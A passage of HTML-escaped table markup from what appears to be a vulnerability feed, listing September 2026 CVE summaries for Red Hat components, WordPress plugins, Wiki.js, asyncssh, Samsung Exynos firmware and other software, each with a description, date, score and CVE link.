&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-91205&quot; target=&quot;_blank&quot;&gt;CVE-2026-91205&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Red Hat--Red Hat Enterprise Linux 10&lt;/td&gt;
&lt;td&gt;A flaw was found in GNOME Shell. When processing icons from a remote search provider via D-Bus, the system fails to validate the icon&#039;s declared dimensions against the actual data buffer size. A malicious or compromised remote search provider could exploit this by providing oversized icon dimensions, leading to an out-of-bounds read. This can cause the GNOME Shell process to crash, disrupting the user&#039;s session, and potentially disclose sensitive information from adjacent memory.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;6.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-91786&quot; target=&quot;_blank&quot;&gt;CVE-2026-91786&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Red Hat--Red Hat Enterprise Linux 10&lt;/td&gt;
&lt;td&gt;A flaw was found in Podman. If an attacker can pass a crafted tar archive to the `podman load` command, they can create files on the host machine with the privileges of the user running Podman.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;5.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2025-11395&quot; target=&quot;_blank&quot;&gt;CVE-2025-11395&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Red Hat--Red Hat Enterprise Linux 10&lt;/td&gt;
&lt;td&gt;A flaw was found in libxml2. A local user or an attacker providing a specially crafted XML catalog can trigger a NULL pointer dereference during XML catalog parsing. This occurs when a `nextCatalog` element lacks its mandatory `catalog` attribute, leading to the application crashing and causing a Denial of Service (DoS).&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;5.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-76781&quot; target=&quot;_blank&quot;&gt;CVE-2026-76781&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Red Hat--Red Hat Enterprise Linux 10&lt;/td&gt;
&lt;td&gt;A flaw was found in SSSD (System Security Services Daemon). A local attacker with privileges to connect to the PAM (Pluggable Authentication Modules) responder socket can send a specially crafted protocol request. If the `pam_app_services` configuration is enabled and the service item is omitted from the request, a NULL pointer dereference can occur. This vulnerability leads to a denial of service, causing the PAM responder to crash and disrupt authentication services.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;5.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90995&quot; target=&quot;_blank&quot;&gt;CVE-2026-90995&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Red Hat--Red Hat Enterprise Linux 10&lt;/td&gt;
&lt;td&gt;A flaw was found in `cockpit-ws`. This vulnerability allows a remote, unauthenticated attacker to cause a Denial of Service (DoS) by sending a specially crafted request. When the `WebService.UrlRoot` is configured and a request is made to the exact URL-root prefix without a trailing slash, `cockpit-ws` can terminate unexpectedly. This issue leads to the unavailability of the Cockpit web service.&lt;/td&gt;
&lt;td&gt;2026-09-18&lt;/td&gt;
&lt;td width:&gt;5.9&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-91147&quot; target=&quot;_blank&quot;&gt;CVE-2026-91147&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Red Hat--Red Hat Enterprise Linux 10&lt;/td&gt;
&lt;td&gt;A flaw was found in cockpit-machines. This vulnerability allows a local attacker with the ability to inspect process metadata to disclose a sensitive Red Hat Subscription Management (RHSM) offline token. The token is exposed when it is passed as a command-line argument to a helper script during the token validation process. Successful exploitation could lead to the compromise of confidentiality, as the exposed token can be used to request access tokens.&lt;/td&gt;
&lt;td&gt;2026-09-18&lt;/td&gt;
&lt;td width:&gt;5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-92745&quot; target=&quot;_blank&quot;&gt;CVE-2026-92745&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Red Hat--Red Hat Enterprise Linux 10&lt;/td&gt;
&lt;td&gt;A flaw was found in `cockpit-machines`. This vulnerability allows a local attacker with the ability to inspect running processes to expose sensitive guest virtual machine (VM) credentials, such as `rootPassword` and `userPassword`. This occurs when the `install_machine.py` script passes these credentials as a JSON command-line argument during VM creation or installation. The exposure is limited to the period when the installation workflow is active and depends on host process-visibility policies.&lt;/td&gt;
&lt;td&gt;2026-09-18&lt;/td&gt;
&lt;td width:&gt;5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-92747&quot; target=&quot;_blank&quot;&gt;CVE-2026-92747&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Red Hat--Red Hat Enterprise Linux 10&lt;/td&gt;
&lt;td&gt;A flaw was found in cockpit-machines. This vulnerability allows a local attacker to expose sensitive Virtual Machine (VM) credentials, including plaintext passwords, by inspecting process command-line arguments during VM creation or installation. The cockpit-machines component passes password values directly on the command line, making them visible to other local users on systems where process arguments are not restricted. Successful exploitation leads to information disclosure, potentially compromising VM access.&lt;/td&gt;
&lt;td&gt;2026-09-18&lt;/td&gt;
&lt;td width:&gt;5.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-92768&quot; target=&quot;_blank&quot;&gt;CVE-2026-92768&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Red Hat--Red Hat Enterprise Linux 10&lt;/td&gt;
&lt;td&gt;A denial of service flaw was found in Poppler&#039;s Splash backend. A crafted PDF with tiling-pattern geometry approaching the int32 boundary can cause SplashOutputDev::tilingPatternFill to compute an attacker-controlled repeat count that drives an excessively long loop in the pattern-fill scanline routine, without a corresponding memory allocation. An attacker could exploit this by supplying a malicious PDF to an application that renders it via Poppler&#039;s Splash backend, causing the rendering process to consume 100% CPU for an attacker-controlled, extended duration.&lt;/td&gt;
&lt;td&gt;2026-09-18&lt;/td&gt;
&lt;td width:&gt;5.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-93653&quot; target=&quot;_blank&quot;&gt;CVE-2026-93653&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Red Hat--Red Hat Enterprise Linux 10&lt;/td&gt;
&lt;td&gt;A flaw was found in the sssd NSS responder. This input validation vulnerability allows a local attacker, by sending specially crafted service lookup requests to the NSS responder&#039;s UNIX socket, to cause an out-of-bounds read. This out-of-bounds read may lead to a denial of service (DoS) by crashing the NSS responder process. While unprivileged local clients can typically reach the socket, there is no evidence of privilege escalation or reliable data disclosure.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;4&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90463&quot; target=&quot;_blank&quot;&gt;CVE-2026-90463&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Red Hat--Red Hat Enterprise Linux 10&lt;/td&gt;
&lt;td&gt;A flaw was found in sssd, specifically within the PAM (Pluggable Authentication Modules) responder&#039;s protocol v1 parser, pam_parse_in_data(). A local client with access to the PAM responder&#039;s UNIX socket can exploit this by negotiating protocol v1 and sending an empty or truncated PAM request body. This can trigger an out-of-bounds read, potentially causing the PAM responder to terminate or restart, leading to a local denial of service.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;4&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90994&quot; target=&quot;_blank&quot;&gt;CVE-2026-90994&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Red Hat--Red Hat Enterprise Linux 10&lt;/td&gt;
&lt;td&gt;A flaw was found in sssd. A local unprivileged user could send a specially crafted request with a zero-length body to the Network Security Services (NSS) responder. This could lead to a denial-of-service condition, causing the NSS responder to become unstable or terminate. This vulnerability affects the availability of the system responder.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;4&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90996&quot; target=&quot;_blank&quot;&gt;CVE-2026-90996&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Red Hat--Red Hat JBoss Enterprise Application Platform 7&lt;/td&gt;
&lt;td&gt;A flaw was found in EAP&#039;s Elytron. An EAP application whose security domain is backed by an Elytron token-realm with oauth2-introspection would allow parameter substitution due to missing URL encoding.&lt;/td&gt;
&lt;td&gt;2026-09-18&lt;/td&gt;
&lt;td width:&gt;4.2&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-85511&quot; target=&quot;_blank&quot;&gt;CVE-2026-85511&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Red Hat--Red Hat Satellite 6&lt;/td&gt;
&lt;td&gt;A flaw was found in the foreman_ansible plugin&#039;s Ansible inventory API. The controller builds its host query using an unscoped Host.where call that does not enforce the search filter associated with the caller&#039;s view_hosts permission. An authenticated user whose host visibility is restricted by a permission filter can supply arbitrary host IDs within their organization and receive the full Ansible inventory for those hosts, including parameter values marked as hidden.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;4.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-92893&quot; target=&quot;_blank&quot;&gt;CVE-2026-92893&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Red Hat--Red Hat Satellite 6&lt;/td&gt;
&lt;td&gt;A flaw was found in the foreman_ansible plugin&#039;s Ansible override values API. The destroy action resolves the target LookupValue record by ID without verifying it belongs to an AnsibleVariable the caller is authorized to edit. An authenticated user with the edit_ansible_variables permission can delete any LookupValue by ID, including override values for Ansible variables outside their permission filter scope and override values belonging to Puppet smart class parameters.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;4.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-92894&quot; target=&quot;_blank&quot;&gt;CVE-2026-92894&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Red Hat--Red Hat Satellite 6&lt;/td&gt;
&lt;td&gt;A flaw was found in the foreman_remote_execution plugin&#039;s template invocations controller. The show_template_invocation_by_host action resolves the job invocation by ID without evaluating the caller&#039;s view_job_invocations permission filter against the record. An authenticated user whose job invocation visibility is restricted by a permission filter can enumerate job invocation IDs and read the live output, rendered script, and input values for other users&#039; job invocations within their own organizations.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;4.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-92904&quot; target=&quot;_blank&quot;&gt;CVE-2026-92904&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Redocly--redocly-cli&lt;/td&gt;
&lt;td&gt;Redocly CLI makes OpenAPI validation, linting, and documentation workflows easier. Prior to @redocly/cli 2.33.2, the split command constructs output paths under --outDir from untrusted OpenAPI or AsyncAPI component names and x-codeSamples lang values without verifying that the resolved target remains inside the selected directory. A description containing literal ../ traversal segments in those fields can cause the split command to place or overwrite files outside --outDir. Component data remains constrained to YAML or JSON, and code-sample filenames remain based on the HTTP method, so this is not an unrestricted arbitrary-content file write. This issue is fixed in @redocly/cli version 2.33.2.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;4.4&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-63225&quot; target=&quot;_blank&quot;&gt;CVE-2026-63225&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;refly-ai--refly&lt;/td&gt;
&lt;td&gt;Refly through 1.1.0 contains a server-side request forgery vulnerability in the POST /v1/misc/scrape endpoint that fetches caller-supplied URLs without validating the scheme, host, or resolved address. Authenticated attackers can make the backend issue requests to loopback, private, and link-local addresses including cloud metadata services to read page titles and descriptions of internal resources.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-91199&quot; target=&quot;_blank&quot;&gt;CVE-2026-91199&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;requarks--Wiki.js&lt;/td&gt;
&lt;td&gt;Wiki.js through 2.5.314 contains a server-side request forgery vulnerability in the Image Prefetch renderer that fetches arbitrary URLs without protocol, host, or address validation. Attackers with page editing permissions can inject img elements with the prefetch-candidate class to make the server request internal services and cloud metadata endpoints, with responses returned to the attacker.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;6.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-92775&quot; target=&quot;_blank&quot;&gt;CVE-2026-92775&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;requarks--Wiki.js&lt;/td&gt;
&lt;td&gt;Wiki.js through 2.5.314 omits page tags from authorization checks in multiple GraphQL resolvers, allowing tag-based access restrictions to be bypassed. Attackers can query the list, tree, tags, searchTags, and links resolvers to retrieve restricted page metadata including titles, descriptions, paths, and tag information without proper authorization.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;4.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-92774&quot; target=&quot;_blank&quot;&gt;CVE-2026-92774&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;revmakx--InfiniteWP Client&lt;/td&gt;
&lt;td&gt;The InfiniteWP Client plugin for WordPress is vulnerable to SQL Injection via the get_comments action in versions up to, and including, 1.13.9. This is due to insufficient escaping on the array-key names supplied in the JSON request body before use in a SQL statement: IWP_MMB_Comment::get_comments() calls extract() on $args (which silently skips keys that are not valid PHP variable names) but a second foreach($args as $checkbox =&amp;gt; $checkbox_val) processes every key, strips the &#039;iwp_get_comments_&#039; prefix with str_replace(), wraps the remainder in single quotes, and imploded it into an IN(...) clause that is executed via $wpdb-&amp;gt;get_results() with no prepare(). Because the request body is read from php://input and JSON-decoded, wp_magic_quotes() never touches the data, so quote characters in keys pass through unaltered. This makes it possible for authenticated attackers, with administrator-level access and above (an administrator can register their own public key via add_site using the plugin&#039;s WP-admin-generated activation_key and then issue signed get_comments requests), to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.&lt;/td&gt;
&lt;td&gt;2026-09-18&lt;/td&gt;
&lt;td width:&gt;6.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-17576&quot; target=&quot;_blank&quot;&gt;CVE-2026-17576&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;riganti--dotvvm&lt;/td&gt;
&lt;td&gt;DotVVM is an open source MVVM framework for web applications. Prior to 4.2.11, 4.3.15, and 5.0.0-preview09-final, applications with configured file upload storage allow unauthenticated users to submit files directly to DotvvmFileUploadMiddleware without an X-DotVVM-UploadToken generated by the FileUpload component. An attacker can repeatedly upload files and fill application storage, causing denial of service. DotvvmConfiguration.Security.AuthorizeFileUpload can additionally restrict which users may upload files. This issue is fixed in versions 4.2.11, 4.3.15, and 5.0.0-preview09-final.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;5.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-57581&quot; target=&quot;_blank&quot;&gt;CVE-2026-57581&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;ronf--asyncssh&lt;/td&gt;
&lt;td&gt;AsyncSSH is a Python package which provides an asynchronous client and server implementation of the SSHv2 protocol on top of the Python asyncio framework. Prior to 2.24.0, _process_channel_open and _process_channel_open_confirmation in asyncssh/connection.py accept a peer-supplied send_pktsize value of zero. When channel data reaches SSHChannel._flush_send_buf in asyncssh/channel.py, the zero value causes each loop iteration to slice and remove zero bytes without reducing the send window, leaving the synchronous loop permanently true with no await point. A malicious SSH server can trigger the client path through SSH_MSG_CHANNEL_OPEN_CONFIRMATION before the first channel write, while an authenticated client can trigger the server path through SSH_MSG_CHANNEL_OPEN and freeze every current and future connection handled by the process. This vulnerability is fixed in 2.24.0.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;6.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-62949&quot; target=&quot;_blank&quot;&gt;CVE-2026-62949&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;roxnor--ShopEngine Elementor WooCommerce Builder Addon All in One WooCommerce Solution with eCommerce Templates &amp;amp; Woo Widgets&lt;/td&gt;
&lt;td&gt;The ShopEngine Elementor WooCommerce Builder Addon - All in One WooCommerce Solution with eCommerce Templates &amp;amp; Woo Widgets plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the &#039;shopengine_product_title_header_size&#039; parameter in all versions up to, and including, 4.9.5 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with Author-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;6.4&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-85575&quot; target=&quot;_blank&quot;&gt;CVE-2026-85575&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Royal Addons for Elementor--Royal Addons for Elementor&lt;/td&gt;
&lt;td&gt;The Royal Elementor Addons WordPress plugin before 1.7.1067 does not properly sanitize and escape values submitted through its form widget before including them in the body of administrator notification emails, allowing unauthenticated attackers to inject arbitrary HTML into emails sent to the site administrator on form submission.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;6.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-13407&quot; target=&quot;_blank&quot;&gt;CVE-2026-13407&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;rustls--webpki&lt;/td&gt;
&lt;td&gt;rustls-webpki versions before 0.103.10 and 0.104.0-alpha.5 contain faulty CRL authority-matching logic that compares only the first distributionPoint against each CRL&#039;s IssuingDistributionPoint, ignoring additional distributionPoints. Attackers with a compromised trusted issuing authority can present revoked certificates that pass revocation checks under UnknownStatusPolicy::Allow, or cause incorrect errors under the default deny policy.&lt;/td&gt;
&lt;td&gt;2026-09-18&lt;/td&gt;
&lt;td width:&gt;4.4&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-93602&quot; target=&quot;_blank&quot;&gt;CVE-2026-93602&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;saadiqbal--WP Easy Pay Payment and Donation Form Builder for Square&lt;/td&gt;
&lt;td&gt;The WP Easy Pay - Payment and Donation form Builder for Square plugin for WordPress is vulnerable to authorization bypass in all versions up to, and including, 4.5.0. This is due to the plugin not properly verifying that a user is authorized to perform an action. This makes it possible for authenticated attackers, with subscriber-level access and above, to permanently delete arbitrary posts, pages, and custom post types (bypassing the trash via force deletion) or change any published post to draft status.&lt;/td&gt;
&lt;td&gt;2026-09-18&lt;/td&gt;
&lt;td width:&gt;4.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-12739&quot; target=&quot;_blank&quot;&gt;CVE-2026-12739&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;sakaiproject--sakai&lt;/td&gt;
&lt;td&gt;Sakai is a Collaboration and Learning Environment (CLE). From 23.0 until 23.5 and 25.3, the DELETE /api/users/{userId}/profile/image endpoint allows an authenticated user to delete another user&#039;s profile image because ProfileController.removeProfileImage() passes the attacker-controlled userId to ProfileServiceImpl.removeProfileImage() without verifying ownership, and profileImageUploadedRepository.deleteById(userId) removes the selected row. The related DELETE /api/users/{userId}/profile/pronunciation endpoint also omits session validation and ownership checks before ProfileServiceImpl.removePronunciationRecording() deletes the target user&#039;s recording. The upload path is not affected because it already verifies ownership, and superusers remain intentionally authorized to modify other profiles. Successful exploitation can repeatedly remove profile identity artifacts, including administrator and instructor images, and disrupt workflows that rely on those artifacts. This issue is fixed in versions 23.5, 25.3, and 26.0.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;6.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-54050&quot; target=&quot;_blank&quot;&gt;CVE-2026-54050&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;samanhappy--MCPHub&lt;/td&gt;
&lt;td&gt;A security vulnerability has been detected in samanhappy MCPHub up to 1.0.32. The impacted element is the function importTemplate of the file src/services/templateService.ts of the component Template Import Endpoint. The manipulation leads to improper privilege management. Remote exploitation of the attack is possible. The exploit has been disclosed publicly and may be used. Upgrading to version 1.0.33 is sufficient to resolve this issue. The identifier of the patch is 18a4467bc4ec6390b1f841d8a468a37e9922f837. It is advisable to upgrade the affected component.&lt;/td&gt;
&lt;td&gt;2026-09-20&lt;/td&gt;
&lt;td width:&gt;6.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-94047&quot; target=&quot;_blank&quot;&gt;CVE-2026-94047&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Samsung Opensource--Escargot&lt;/td&gt;
&lt;td&gt;Integer overflow or wraparound vulnerability in Samsung Opensource Escargot allows attackers with write access to the bytecode-cache directory to cause a heap-based buffer overflow and denial of service via a crafted cache file. This issue affects Escargot: ac94df78493ee6fede286620d94f724e46b4d238.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;5.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-92259&quot; target=&quot;_blank&quot;&gt;CVE-2026-92259&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Samsung Opensource--rLottie&lt;/td&gt;
&lt;td&gt;Stack-based buffer overflow vulnerability in Samsung Opensource rLottie allows attackers to overflow buffers, leading to memory corruption when rendering crafted vector animations. This issue affects rLottie: 480a2ad0c5d2e45458c545b8213279e9e8b71e39.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;4.4&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-91826&quot; target=&quot;_blank&quot;&gt;CVE-2026-91826&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Samsung--Exynos 1080 firmware&lt;/td&gt;
&lt;td&gt;An issue was discovered in NR RRC in Samsung Mobile Processor and Modem Exynos 1080, 2100, 1280, 2200, 1330, 1380, 1480, 2400, 1580, 2500, W1000, Modem 5300, Modem 5400, and Modem 5410. Incorrect handling of unauthenticated downlink RRC Setup messages can cause the baseband to crash.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;4&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-23792&quot; target=&quot;_blank&quot;&gt;CVE-2026-23792&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Samsung--Exynos 1280 firmware&lt;/td&gt;
&lt;td&gt;An issue was discovered in DPU in Samsung Mobile Processor Exynos 1280, 2200, 1380, 1480, 2400, 1580, 2500, 1680, and 2600. A Use-After-Free in the Exynos DRM HDR driver (due to improper cleanup upon vmap failure) leads to a kernel crash.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;4.2&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-23787&quot; target=&quot;_blank&quot;&gt;CVE-2026-23787&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Samsung--Exynos 1280 firmware&lt;/td&gt;
&lt;td&gt;An issue was discovered in DPU in Samsung Mobile Processor Exynos 1280, 2200, and 1380. A heap overflow in the Exynos DRM HDR driver (due to improper buffer size validation) leads to kernel memory corruption and a system crash.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;4.2&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-23788&quot; target=&quot;_blank&quot;&gt;CVE-2026-23788&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Samsung--Exynos 1280 firmware&lt;/td&gt;
&lt;td&gt;An issue was discovered in DPU in Samsung Mobile Processor Exynos 1280, 2200, 1380, 1480, 2400, 1580, 2500, 1680, and 2600. A double-free vulnerability in the Samsung Exynos DPU driver (due to improper pointer management during DMA buffer reallocation) leads to kernel memory corruption and a potential use-after-free.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;4.2&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-23790&quot; target=&quot;_blank&quot;&gt;CVE-2026-23790&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Samsung--Exynos 1280 firmware&lt;/td&gt;
&lt;td&gt;An issue was discovered in DPU in Samsung Mobile Processor Exynos 1280, 2200, 1380, 1480, 2400, 1580, 2500, 1680, and 2600. An out-of-bounds write vulnerability in the Exynos DPU driver (due to missing input length validation in color mode LUT parsing) leads to kernel memory corruption and potential privilege escalation.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;4.2&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-23791&quot; target=&quot;_blank&quot;&gt;CVE-2026-23791&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Samsung--Exynos 1580 firmware&lt;/td&gt;
&lt;td&gt;An issue was discovered in camera in Samsung Mobile Processor Exynos 1580 and 2500. An untrusted pointer dereference occurs when a malformed message is sent to the camera driver, causing limited information disclosure or denial of service.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;6.4&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-33964&quot; target=&quot;_blank&quot;&gt;CVE-2026-33964&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
